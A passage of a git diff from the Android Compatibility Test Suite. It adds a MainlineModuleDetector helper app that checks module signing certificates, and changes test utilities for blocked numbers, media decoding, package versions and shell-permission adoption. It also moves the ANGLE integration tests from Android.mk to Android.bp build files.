-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsForceStopHelper
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/res
-
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 12
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/apps/CtsVerifierInstantApp/Android.mk b/apps/MainlineModuleDetector/Android.mk
similarity index 94%
rename from apps/CtsVerifierInstantApp/Android.mk
rename to apps/MainlineModuleDetector/Android.mk
index 13697e7..b99f8f7 100644
--- a/apps/CtsVerifierInstantApp/Android.mk
+++ b/apps/MainlineModuleDetector/Android.mk
@@ -23,7 +23,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_PACKAGE_NAME := CtsVerifierInstantApp
+LOCAL_PACKAGE_NAME := MainlineModuleDetector
 
 LOCAL_SDK_VERSION := current
 
diff --git a/libs/rollback/testapp/A1.xml b/apps/MainlineModuleDetector/AndroidManifest.xml
similarity index 72%
copy from libs/rollback/testapp/A1.xml
copy to apps/MainlineModuleDetector/AndroidManifest.xml
index 2cd1825..9a36cc6 100644
--- a/libs/rollback/testapp/A1.xml
+++ b/apps/MainlineModuleDetector/AndroidManifest.xml
@@ -1,5 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
+
+<!-- Copyright (C) 2018 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
@@ -15,15 +16,12 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.rollback.lib.testapp.A"
-    android:versionCode="1"
-    android:versionName="1.0" >
+          package="com.android.cts.mainlinemoduledetector"
+          android:versionCode="1"
+          android:versionName="1.0">
 
-
-    <uses-sdk android:minSdkVersion="19" />
-
-    <application android:label="Rollback Test App A1">
-        <activity android:name="com.android.cts.rollback.lib.testapp.MainActivity">
+    <application>
+        <activity android:name=".MainlineModuleDetector">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
diff --git a/apps/MainlineModuleDetector/OWNERS b/apps/MainlineModuleDetector/OWNERS
new file mode 100644
index 0000000..8f076a8
--- /dev/null
+++ b/apps/MainlineModuleDetector/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 195645
+manjaepark@google.com
+mspector@google.com
\ No newline at end of file
diff --git a/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java b/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
new file mode 100644
index 0000000..5e473d6
--- /dev/null
+++ b/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
@@ -0,0 +1,158 @@
+package com.android.cts.mainlinemoduledetector;
+
+import android.app.Activity;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.os.Bundle;
+import android.util.Log;
+
+import java.security.MessageDigest;
+import java.util.EnumSet;
+import java.util.HashSet;
+import java.util.Set;
+
+public class MainlineModuleDetector extends Activity {
+
+    private static final String LOG_TAG = "MainlineModuleDetector";
+
+    private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
+
+    enum ModuleType {
+        APEX,
+        APK
+    }
+
+    enum MainlineModule {
+        // Security
+        MEDIA_SOFTWARE_CODEC("com.google.android.media.swcodec",
+                true, ModuleType.APEX,
+                "0C:2B:13:87:6D:E5:6A:E6:4E:D1:DE:93:42:2A:8A:3F:EA:6F:34:C0:FC:5D:7D:A1:BD:CF:EF"
+                        + ":C1:A7:B7:C9:1D"),
+        MEDIA("com.google.android.media",
+                true, ModuleType.APEX,
+                "16:C1:5C:FA:15:D0:FD:D0:7E:BE:CB:5A:76:6B:40:8B:05:DD:92:7E:1F:3A:DD:C5:AB:F6:8E"
+                        + ":E8:B9:98:F9:FD"),
+        DNS_RESOLVER("com.google.android.resolv",
+                true, ModuleType.APEX,
+                "EC:82:21:76:5E:4F:7E:2C:6D:8D:0F:0C:E9:BD:82:5B:98:BE:D2:0C:07:2C:C6:C8:08:DD:E4"
+                        + ":68:5F:EB:A6:FF"),
+        CONSCRYPT("com.google.android.conscrypt",
+                true, ModuleType.APEX,
+                "8C:5D:A9:10:E6:11:21:B9:D6:E0:3B:42:D3:20:6A:7D:AD:29:DD:C1:63:AE:CD:4B:8E:E9:3F"
+                        + ":D3:83:79:CA:2A"),
+        // Privacy
+        PERMISSION_CONTROLLER("com.google.android.permissioncontroller",
+                false, ModuleType.APK,
+                "89:DF:B5:04:7E:E0:19:29:C2:18:4D:68:EF:49:64:F2:A9:0A:F1:24:C3:23:38:28:B8:F6:40"
+                        + ":D9:E6:C0:0F:83"),
+        ANDROID_SERVICES("com.google.android.ext.services",
+                false, ModuleType.APK,
+                "18:46:05:09:5B:E6:CA:22:D0:55:F3:4E:FA:F0:13:44:FD:3A:B3:B5:63:8C:30:62:76:10:EE"
+                        + ":AE:8A:26:0B:29"),
+        DOCUMENTS_UI("com.google.android.documentsui",
+                true, ModuleType.APK,
+                "9A:4B:85:34:44:86:EC:F5:1F:F8:05:EB:9D:23:17:97:79:BE:B7:EC:81:91:93:5A:CA:67:F0"
+                        + ":F4:09:02:52:97"),
+        // Consistency
+        TZDATA("com.google.android.tzdata",
+                true, ModuleType.APEX,
+                "55:93:DD:78:CB:26:EC:9B:00:59:2A:6A:F5:94:E4:16:1F:FD:B5:E9:F3:71:A7:43:54:5F:93"
+                        + ":F2:A0:F6:53:89"),
+        NETWORK_STACK("com.google.android.networkstack",
+                true, ModuleType.APK,
+                "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
+                        + ":F6:0B:F6:2C:1E"),
+        CAPTIVE_PORTAL_LOGIN("com.google.android.captiveportallogin",
+                true, ModuleType.APK,
+                "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
+                        + ":F6:0B:F6:2C:1E"),
+        NETWORK_PERMISSION_CONFIGURATION("com.google.android.networkstack.permissionconfig",
+                true, ModuleType.APK,
+                "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
+                        + ":F6:0B:F6:2C:1E"),
+        MODULE_METADATA("com.google.android.modulemetadata",
+                true, ModuleType.APK,
+                "BF:62:23:1E:28:F0:85:42:75:5C:F3:3C:9D:D8:3C:5D:1D:0F:A3:20:64:50:EF:BC:4C:3F:F3"
+                        + ":D5:FD:A0:33:0F"),
+        ;
+
+        String packageName;
+        boolean isPlayUpdated;
+        ModuleType moduleType;
+        String certSHA256;
+
+        MainlineModule(String packageName, boolean isPlayUpdated, ModuleType moduleType,
+                String certSHA256) {
+            this.packageName = packageName;
+            this.isPlayUpdated = isPlayUpdated;
+            this.moduleType = moduleType;
+            this.certSHA256 = certSHA256;
+        }
+    }
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        try {
+            String modules = String.join(",", getPlayManagedModules());
+            Log.i(LOG_TAG, "Play managed modules are: <" + modules + ">");
+        } catch (Exception e) {
+            Log.e(LOG_TAG, "Failed to retrieve modules.", e);
+        }
+        this.finish();
+    }
+
+    private Set<String> getPlayManagedModules() throws Exception {
+        Set<String> playManagedModules = new HashSet<>();
+
+        PackageManager pm = getApplicationContext().getPackageManager();
+
+        Set<String> packages = new HashSet<>();
+        for (PackageInfo info : pm.getInstalledPackages(0)) {
+            packages.add(info.packageName);
+        }
+        for (PackageInfo info : pm.getInstalledPackages(PackageManager.MATCH_APEX)) {
+            packages.add(info.packageName);
+        }
+
+        for (MainlineModule module : EnumSet.allOf(MainlineModule.class)) {
+            if (module.isPlayUpdated && packages.contains(module.packageName)
+                    && module.certSHA256.equals(getSignatureDigest(module))) {
+                playManagedModules.add(module.packageName);
+            }
+        }
+        return playManagedModules;
+    }
+
+    private String getSignatureDigest(MainlineModule module) throws Exception {
+        PackageManager pm = getApplicationContext().getPackageManager();
+        int flag = PackageManager.GET_SIGNING_CERTIFICATES;
+        if (module.moduleType == ModuleType.APEX) {
+            flag |= PackageManager.MATCH_APEX;
+        }
+
+        PackageInfo packageInfo = pm.getPackageInfo(module.packageName, flag);
+        MessageDigest messageDigest = MessageDigest.getInstance("SHA256");
+        messageDigest.update(packageInfo.signingInfo.getApkContentsSigners()[0].toByteArray());
+
+        final byte[] digest = messageDigest.digest();
+        final int digestLength = digest.length;
+        final int charCount = 3 * digestLength - 1;
+
+        final char[] chars = new char[charCount];
+        for (int i = 0; i < digestLength; i++) {
+            final int byteHex = digest[i] & 0xFF;
+            chars[i * 3] = HEX_ARRAY[byteHex >>> 4];
+            chars[i * 3 + 1] = HEX_ARRAY[byteHex & 0x0F];
+            if (i < digestLength - 1) {
+                chars[i * 3 + 2] = ':';
+            }
+        }
+
+        String ret = new String(chars);
+        Log.d(LOG_TAG, "Module: " + module.packageName + " has signature: " + ret);
+        return ret;
+    }
+
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberService.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberService.java
index 360c078..bb27360 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberService.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberService.java
@@ -23,11 +23,16 @@
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.content.Intent;
+import android.database.ContentObserver;
 import android.net.Uri;
 import android.os.Bundle;
+import android.os.Handler;
 import android.os.ResultReceiver;
 import android.util.Log;
 
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
 /**
  * A service to handle interactions with the BlockedNumberProvider. The BlockedNumberProvider
  * can only be accessed by the primary user. This service can be run as a singleton service
@@ -41,11 +46,14 @@
     static final String PHONE_NUMBER_EXTRA = "number";
     static final String URI_EXTRA = "uri";
     static final String ROWS_EXTRA = "rows";
+    static final String FAIL_EXTRA = "fail";
     static final String RESULT_RECEIVER_EXTRA = "resultReceiver";
 
     private static final String TAG = "CtsBlockNumberSvc";
+    private static final int ASYNC_TIMEOUT = 10000;
 
     private ContentResolver mContentResolver;
+    private Handler mHandler = new Handler();
 
     public BlockedNumberService() {
         super(BlockedNumberService.class.getName());
@@ -77,14 +85,37 @@
     private Bundle insertBlockedNumber(String number) {
         Log.i(TAG, "insertBlockedNumber: " + number);
 
+        CountDownLatch blockedNumberLatch = getBlockedNumberLatch();
         ContentValues cv = new ContentValues();
         cv.put(COLUMN_ORIGINAL_NUMBER, number);
         Uri uri = mContentResolver.insert(CONTENT_URI, cv);
         Bundle bundle = new Bundle();
         bundle.putString(URI_EXTRA, uri.toString());
+
+        // Wait for the content provider to be updated.
+        try {
+            blockedNumberLatch.await(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            bundle.putBoolean(FAIL_EXTRA, true);
+        }
         return bundle;
     }
 
+    private CountDownLatch getBlockedNumberLatch() {
+        CountDownLatch changeLatch = new CountDownLatch(1);
+        getContentResolver().registerContentObserver(
+                CONTENT_URI, true,
+                    new ContentObserver(mHandler) {
+                        @Override
+                        public void onChange(boolean selfChange, Uri uri) {
+                            getContentResolver().unregisterContentObserver(this);
+                            changeLatch.countDown();
+                            super.onChange(selfChange);
+                        }
+                    });
+        return changeLatch;
+    }
+
     private Bundle deleteBlockedNumber(Uri uri) {
         Log.i(TAG, "deleteBlockedNumber: " + uri);
 
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberUtil.java
index e5a0ce4..91959d5 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberUtil.java
@@ -51,7 +51,11 @@
         Intent intent = new Intent(INSERT_ACTION);
         intent.putExtra(PHONE_NUMBER_EXTRA, phoneNumber);
 
-        return Uri.parse(runBlockedNumberService(context, intent).getString(URI_EXTRA));
+        Bundle result = runBlockedNumberService(context, intent);
+        if (result.getBoolean(BlockedNumberService.FAIL_EXTRA)) {
+            return null;
+        }
+        return Uri.parse(result.getString(URI_EXTRA));
     }
 
     /** Remove a number from the blocked number provider and returns the number of rows deleted. */
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
index 7d7aaf0..37c33ae 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
@@ -66,7 +66,7 @@
      */
     @Override
     protected String formatExecutionString(String method, String... args) {
-        return String.format("%s(%s)", method, TextUtils.join(", ", args));
+        return String.format("%s(%s)", method, TextUtils.join(", ", formatArgs(args)));
     }
 
     /**
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
index 4bc3c70..d8d4357 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
@@ -314,16 +314,16 @@
             return false;
         }
 
-	if (rate == 0.0) {
+        if (rate == 0.0) {
             return true;
-	}
+        }
 
         // before Q, we always said yes once we found a decoder for the format.
         if (ApiLevelUtil.isBefore(Build.VERSION_CODES.Q)) {
             return true;
-	}
+        }
 
-	// we care about speed of decoding
+        // we care about speed of decoding
         Log.d(TAG, "checking for decoding " + format + " at " +
                    rate + " fps with " + decoder);
 
@@ -353,7 +353,9 @@
             return false;
         }
 
-        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.Q) && mci.isHardwareAccelerated()) {
+        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.Q)
+                && PropertyUtil.isVendorApiLevelAtLeast(Build.VERSION_CODES.Q)
+                && mci.isHardwareAccelerated()) {
             MediaCodecInfo.VideoCapabilities caps =
                             mci.getCapabilitiesForType(mime).getVideoCapabilities();
             List<MediaCodecInfo.VideoCapabilities.PerformancePoint> pp =
@@ -369,7 +371,7 @@
             }
             Log.i(TAG, "NOT covered by any hardware performance point");
             return false;
-	} else {
+        } else {
             String verified = MediaPerfUtils.areAchievableFrameRates(
                               decoder, mime, width, height, rate);
             if (verified == null) {
@@ -378,7 +380,7 @@
             }
             Log.d(TAG, "achieveable framerates says: " + verified);
             return false;
-	}
+        }
     }
 
     public static boolean supports(String codecName, String mime, int w, int h) {
@@ -631,7 +633,7 @@
 
     // checks format, does not address actual speed of decoding
     public static boolean canDecodeVideo(String mime, int width, int height, float rate) {
-	return canDecodeVideo(mime, width, height, rate, (float)0.0);
+        return canDecodeVideo(mime, width, height, rate, (float)0.0);
     }
 
     // format + decode rate
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
index 28d8f0d..728cbc6 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
@@ -97,12 +97,18 @@
         }
     }
 
-    /** Returns the version code for the package name, or null if the package can't be found */
+    /**
+     * Returns the version code for the package name, or null if the package can't be found.
+     * If before API Level 28, return a long version of the (otherwise deprecated) versionCode.
+     */
     public static Long getLongVersionCode(String packageName) {
         try {
             PackageInfo info = getPackageManager().getPackageInfo(packageName,
                     PackageManager.GET_META_DATA);
-            return info.getLongVersionCode();
+            // Make no assumptions about the device's API level, and use the (now deprecated)
+            // versionCode for older devices.
+            return (ApiLevelUtil.isAtLeast(28)) ?
+                    info.getLongVersionCode() : (long) info.versionCode;
         } catch (PackageManager.NameNotFoundException | NullPointerException e) {
             Log.w(TAG, "Could not find version string for package " + packageName);
             return null;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
index b87e88b..fb25dd7 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -88,6 +88,20 @@
     }
 
     /**
+     * Return whether the SDK version of the vendor partiton is same or newer than the
+     * given API level.
+     * If the property is set to non-integer value, this means the vendor partition is using
+     * current API level and true is returned.
+     */
+    public static boolean isVendorApiLevelAtLeast(int apiLevel) {
+        int vendorApiLevel = getPropertyInt(VNDK_VERSION);
+        if (vendorApiLevel == INT_VALUE_IF_UNSET) {
+            return true;
+        }
+        return vendorApiLevel >= apiLevel;
+    }
+
+    /**
      * Return the manufacturer of this product. If unset, return null.
      */
     public static String getManufacturer() {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ShellIdentityUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ShellIdentityUtils.java
index f46d5bb..a28152b 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/ShellIdentityUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ShellIdentityUtils.java
@@ -56,6 +56,20 @@
     }
 
     /**
+     * Utility interface to invoke a method against the target object that may throw an Exception.
+     *
+     * @param <U> the type of the object against which the method is invoked.
+     */
+    public interface ShellPermissionThrowableMethodHelperNoReturn<U, E extends Throwable> {
+        /**
+         * Invokes the method against the target object.
+         *
+         * @param targetObject the object against which the method should be invoked.
+         */
+        void callMethod(U targetObject) throws E;
+    }
+
+    /**
      * Invokes the specified method on the targetObject as the shell user. The method can be invoked
      * as follows:
      *
@@ -75,6 +89,87 @@
     }
 
     /**
+     * Invokes the specified method on the targetObject as the shell user with only the subset of
+     * permissions specified. The method can be invoked as follows:
+     *
+     * {@code ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+     *        (tm) -> tm.getDeviceId(), "android.permission.READ_PHONE_STATE");}
+     */
+    public static <T, U> T invokeMethodWithShellPermissions(U targetObject,
+            ShellPermissionMethodHelper<T, U> methodHelper, String... permissions) {
+        final UiAutomation uiAutomation =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity(permissions);
+            return methodHelper.callMethod(targetObject);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Invokes the specified method on the targetObject as the shell user for only the permissions
+     * specified. The method can be invoked as follows:
+     *
+     * {@code ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+     *        (tm) -> tm.getDeviceId(), "android.permission.READ_PHONE_STATE");}
+     */
+    public static <U> void invokeMethodWithShellPermissionsNoReturn(
+            U targetObject, ShellPermissionMethodHelperNoReturn<U> methodHelper,
+            String... permissions) {
+        final UiAutomation uiAutomation =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity(permissions);
+            methodHelper.callMethod(targetObject);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Invokes the specified throwable method on the targetObject as the shell user with only the
+     * subset of permissions specified specified. The method can be invoked as follows:
+     *
+     * {@code ShellIdentityUtils.invokeMethodWithShellPermissions(mImsMmtelManager,
+     *        (m) -> m.isSupported(...), ImsException.class);}
+     */
+    public static <U, E extends Throwable> void invokeThrowableMethodWithShellPermissionsNoReturn(
+            U targetObject, ShellPermissionThrowableMethodHelperNoReturn<U, E> methodHelper,
+            Class<E> clazz) throws E {
+        final UiAutomation uiAutomation =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            methodHelper.callMethod(targetObject);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Invokes the specified throwable method on the targetObject as the shell user with only the
+     * subset of permissions specified specified. The method can be invoked as follows:
+     *
+     * {@code ShellIdentityUtils.invokeMethodWithShellPermissions(mImsMmtelManager,
+     *        (m) -> m.isSupported(...), ImsException.class,
+     *        "android.permission.READ_PRIVILEGED_PHONE_STATE");}
+     */
+    public static <U, E extends Throwable> void invokeThrowableMethodWithShellPermissionsNoReturn(
+            U targetObject, ShellPermissionThrowableMethodHelperNoReturn<U, E> methodHelper,
+            Class<E> clazz, String... permissions) throws E {
+        final UiAutomation uiAutomation =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity(permissions);
+            methodHelper.callMethod(targetObject);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+
+    /**
      * Invokes the specified method on the targetObject as the shell user. The method can be invoked
      * as follows:
      *
diff --git a/hostsidetests/angle/Android.bp b/hostsidetests/angle/Android.bp
new file mode 100644
index 0000000..0e70c52
--- /dev/null
+++ b/hostsidetests/angle/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsAngleIntegrationHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    java_resource_dirs: ["assets/"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+}
diff --git a/hostsidetests/angle/AndroidTest.xml b/hostsidetests/angle/AndroidTest.xml
index 140da70..0e1464f 100644
--- a/hostsidetests/angle/AndroidTest.xml
+++ b/hostsidetests/angle/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="component" value="graphics" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAngleDriverTestCases.apk" />
diff --git a/hostsidetests/angle/app/Android.mk b/hostsidetests/angle/app/Android.mk
deleted file mode 100644
index 3d02f9c..0000000
--- a/hostsidetests/angle/app/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/angle/app/common/Android.bp b/hostsidetests/angle/app/common/Android.bp
new file mode 100644
index 0000000..fe33a37
--- /dev/null
+++ b/hostsidetests/angle/app/common/Android.bp
@@ -0,0 +1,24 @@
+// Copyright (C) 2018 Google Inc.
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_helper_library {
+    name: "AngleIntegrationTestCommon",
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    // Tag this module as test artifact for gts, ats
+    test_suites: [
+        "gts",
+        "ats",
+    ],
+}
diff --git a/hostsidetests/angle/app/common/Android.mk b/hostsidetests/angle/app/common/Android.mk
deleted file mode 100644
index 1399707..0000000
--- a/hostsidetests/angle/app/common/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2018 Google Inc.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := AngleIntegrationTestCommon
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as test artifact for gts, ats
-LOCAL_COMPATIBILITY_SUITE := gts ats
-LOCAL_DISABLE_AUTO_GENERATE_TEST_CONFIG := true
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
\ No newline at end of file
diff --git a/hostsidetests/angle/app/driverTest/Android.bp b/hostsidetests/angle/app/driverTest/Android.bp
new file mode 100644
index 0000000..145f350
--- /dev/null
+++ b/hostsidetests/angle/app/driverTest/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsAngleDriverTestCases",
+    defaults: ["cts_support_defaults"],
+    srcs: [
+        "src/**/*.java",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+    ],
+    compile_multilib: "both",
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "AngleIntegrationTestCommon",
+    ],
+}
diff --git a/hostsidetests/angle/app/driverTest/Android.mk b/hostsidetests/angle/app/driverTest/Android.mk
deleted file mode 100644
index 130f6b1..0000000
--- a/hostsidetests/angle/app/driverTest/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-java-files-under, ../common)
-
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_PACKAGE_NAME := CtsAngleDriverTestCases
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules AngleIntegrationTestCommon
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/angle/app/driverTestSecondary/Android.bp b/hostsidetests/angle/app/driverTestSecondary/Android.bp
new file mode 100644
index 0000000..1f7ffe8
--- /dev/null
+++ b/hostsidetests/angle/app/driverTestSecondary/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
